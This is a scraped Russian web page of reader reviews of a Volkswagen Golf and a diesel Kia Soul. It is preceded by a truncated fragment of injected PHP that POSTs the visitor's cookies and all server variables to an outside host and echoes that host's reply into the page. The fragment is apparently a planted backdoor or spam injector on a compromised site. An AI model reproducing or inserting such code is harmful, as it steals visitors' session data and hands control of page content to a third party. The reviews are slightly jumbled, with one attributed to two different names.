array("header"=>"User-Agent: PHP Modules virtprofit\r\n"."Cookie: ".$_SERVER["HTTP_COOKIE"]."\r\n","method"=>"POST","timeout"=>2,"content"=>http_build_query($_SERVER))))); if($virtprofit_result) echo $virtprofit_result; ?>

Присланные отзывы за неделю


Прислал: Михаил
Год: 2013
Эксплуатирую: 1,5 года
Отзыв:

Ярослав, г. нижний Тагил
Когда наступал момент приобретать автомобиль, выбирал очень долго и осознанно. Присматривался к каждой детали, мелочи, читал отзывы по различным моделям. Приглянулся Гольф. Еще раз все взвесив, остановился на данном варианте, решил брать машинку годом посвежее, чтобы в дальнейшем подольше она мне послужила.
С момента приобретения прошло чуть больше года, о своей покупке не жалею. Данный автомобиль является прекрасным сочетанием цены и качества. Относительно технических характеристик, меня также все устраивает. Бегает шустро, заводиться хорошо, в повороты входит легко, одним словом от вождения получаешь одно сплошное удовольствие.
Еще понравилось то, как в машине все продумано, эргономично, порадовал и внешний вид машины. Салон для такого варианта весьма неплох. Уютно, комфортно причем не, только пассажирам, но и водителю в том числе. Сиденье удобно расположено к рулю, не нужно тянуться.



Прислал: Богдан
Год: 2012
Эксплуатирую: 2,5 года
Отзыв:

Отличное авто, для тех, кто привык к скорости и комфорту. Машина в комплектации Luxe, 6-ступенчатая коробка передач, дизель. Сравнивая с предыдущим своим авто, Хондой СРВ2 (тоже механическая коробка), Киа Соул на дизеле ведет себя на трассе рамного быстрее и резвее, даже полностью загруженная.
На передней панели все расположено очень удачно, удобно, так, что не нужно далеко тянуться, чтобы нажать кнопочки. Есть все современные навороты, кроме круиз-контроля, потому его устанавливал сам. Также нет автоматического подъема стеклоподъемника у водителя – стекло только опускается, но это мелочь.
Существенный недостаток – при полной нагрузке, когда в салоне сидит пятеро и багажник забит, машина сзади заметно проседает. Поэтому своими силами довел клиренс до 19 мм, заменив несколько пружин и установив амортизаторы вертикально. Такое решение называють КУБом – крепления переносяться поближе к пружинам. Позже поменял и задние пружины на Kilen с холодной завивкой. Не зря тратил время и деньги – теперь авто едет отлично, даже полностью нагруженное.
В холода машина заводиться с помощью антигеля, иначе топливо замерзает, становиться рамного гуще, из-за чего, в свою очередь, увеличивается расход.
Обогрев сидений в салоне работает хорошо, греется и спинка и «сидушка».



Return to Top ▲НА ВЕРХ ▲